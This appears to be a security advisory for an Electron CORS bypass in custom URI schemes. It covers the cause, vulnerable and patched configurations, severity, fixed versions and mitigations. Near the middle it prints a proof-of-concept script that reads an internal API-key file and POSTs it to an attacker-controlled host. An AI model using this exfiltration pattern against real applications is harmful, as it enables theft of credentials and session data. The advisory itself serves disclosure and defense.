CVE-2026-70604: Cross-Origin Resource Sharing (CORS) Bypass in Electron Custom Schemes

Electron allows developers to define custom URI schemes (e.g., app-data://) to handle local assets or application logic within the renderer process. These schemes are registered via the Main Process using protocol.registerSchemesAsPrivileged(), which grants specific web-like privileges to the custom protocol so it can interact with internal web mechanisms.

The vulnerability, identified as CVE-2026-70604, is a classic Same-Origin Policy (SOP) bypass stemming from a mapping mismatch between Electron's privilege registration and Chromium's network-security configuration engine. Under certain conditions, remote origins could fetch and read arbitrary data served by these custom schemes.

The flaw specifically targets applications that register custom schemes with the supportFetchAPI privilege enabled but omit the corsEnabled configuration. This combination inadvertently disables standard cross-origin verification checks, exposing sensitive internal application interfaces to untrusted remote websites loaded in any renderer instance.

Custom protocols in Electron can be configured with multiple flags, including supportFetchAPI and corsEnabled. The supportFetchAPI parameter enables standard JavaScript network APIs (fetch, XMLHttpRequest) to query the scheme, while corsEnabled instructs Chromium to subject the scheme to standard Cross-Origin Resource Sharing rules.

In vulnerable versions of Electron, registering a scheme with supportFetchAPI: true and corsEnabled: false (or leaving it undefined) created an insecure configuration state. Chromium registered the scheme's ability to process network operations but failed to enforce CORS policy checks. This failure meant that instead of defaulting to a restrictive "same-origin-only" stance, the engine allowed cross-origin requests without validation.

The underlying issue lies in how Electron handles scheme capabilities inside Chromium's SchemeRegistry. When corsEnabled is omitted or set to false, Electron's registration code did not properly signal Chromium to treat the scheme as a restricted local resource that must reject cross-origin requests. Consequently, the browser engine allowed remote web content to access the response payload.

To trigger the vulnerability, an attacker must inject or load a malicious remote origin into an Electron BrowserWindow that hosts the insecurely configured custom scheme. Since the custom scheme does not require authentication and has CORS checks deactivated, any standard API call from the untrusted web context successfully extracts local application data.

The vulnerability is remediated by modifying how Electron registers custom schemes within Chromium's network stack. Specifically, the patch ensures that any custom scheme utilizing the Fetch API is automatically subjected to CORS validations unless explicitly configured otherwise under highly controlled parameters.

The following code block demonstrates how developers register schemes in the Main Process. If corsEnabled is missing or false under vulnerable versions, the protection fails:

// Vulnerable Registration Method
protocol.registerSchemesAsPrivileged([
  {
    scheme: 'app-internal',
    privileges: {
      supportFetchAPI: true, // Enabled fetch operations
      corsEnabled: false,    // CORS is not enforced, leading to SOP bypass
      secure: true
    }
  }
]);

The patch alters the internal C++ registry of Electron to verify that schemes configured with supportFetchAPI default to strict CORS checks. The internal implementation enforces corsEnabled behavior as the default fallback when supportFetchAPI is active, closing the open mapping gap.

The corrected configuration pattern forces the browser to evaluate CORS headers. If the custom protocol handler does not respond with appropriate Access-Control-Allow-Origin values, the browser's network service drops the transaction:

// Patched Configuration Pattern
protocol.registerSchemesAsPrivileged([
  {
    scheme: 'app-internal',
    privileges: {
      supportFetchAPI: true,
      corsEnabled: true, // Mandated to prevent cross-origin leakage
      secure: true
    }
  }
]);

An exploitation scenario requires an attacker to control the content rendered in an active Electron window or frame. This control can be achieved by loading an external malicious URL, exploiting a cross-site scripting (XSS) vulnerability on a legitimate remote site, or leveraging an open redirect within the application.

Once running in the renderer process, the attacker's script initiates a standard JavaScript fetch() request targeting the custom protocol, such as app-internal://config/session.json. Because Chromium's CORS enforcement mechanism is bypassed, the browser executes the request, retrieves the response, and grants the script full access to the response body.

The recovered sensitive data, which might include private configuration variables, authentication tokens, or localized application state, is then exfiltrated to an attacker-controlled listener. The following proof-of-concept script demonstrates how an attacker can leverage this bypass to siphon target data:

// Script executed from remote origin (e.g., https://attacker-controlled-server.xyz)
const target = 'app-internal://config/api_keys.json';
fetch(target)
  .then(res => res.json())
  .then(data => {
    // Exfiltrate stolen configuration properties
    fetch('https://attacker-controlled-server.xyz/log', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ exfiltrated: data })
    });
  })
  .catch(err => console.error('Exploit failed', err));

This process bypasses conventional security boundaries. Even if the renderer process runs with contextIsolation enabled and nodeIntegration disabled, the web application context still retains access to standard web APIs like fetch(), making this exploit highly reliable and independent of Node.js integration status.

The capability to read arbitrary responses from a custom protocol presents a critical risk to confidentiality. Many Electron applications utilize custom protocols to host local databases, load application code, manage user sessions, or interact with private hardware resources.

The vulnerability is assigned a CVSS score of 7.4 (High Severity), with the vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N. The Scope metric is set to "Changed" because the vulnerability permits a remote origin to break the browser's origin boundary and read resources associated with a completely distinct custom scheme origin.

This flaw does not directly enable remote code execution or file system writes, as it is strictly a read-based policy bypass. However, the exfiltrated credentials, cryptographic keys, or session identifiers can frequently be leveraged in secondary attack chains to compromise broader application systems or corporate networks.

To fully resolve the security risk, applications must be updated to an Electron release containing the official patch. The vulnerability is fixed in versions 39.8.10, 40.9.3, 41.4.0, and 42.0.0. Upgrading these packages ensures that the custom scheme mapping interface is securely bound within the Chromium network service.

If an immediate framework upgrade is unfeasible, developers should audit their scheme privilege registrations. If a custom scheme does not require interaction from standard network APIs, supportFetchAPI should be configured as false. This adjustment removes the protocol from the Chromium network fetch pipeline, eliminating the attack vector.

If cross-origin capabilities are required, developers must explicitly configure corsEnabled: true. This setting forces Chromium to validate incoming requests against strict CORS parameters, requiring the protocol handler to validate the Origin header and emit appropriate Access-Control headers before permitting read access.

In addition to scheme-level configurations, developers should enforce strict Content Security Policies (CSP) within their renderers. A robust CSP that restricts connect-src directives to trusted hosts can prevent the exfiltration of stolen data, providing a critical layer of defense-in-depth.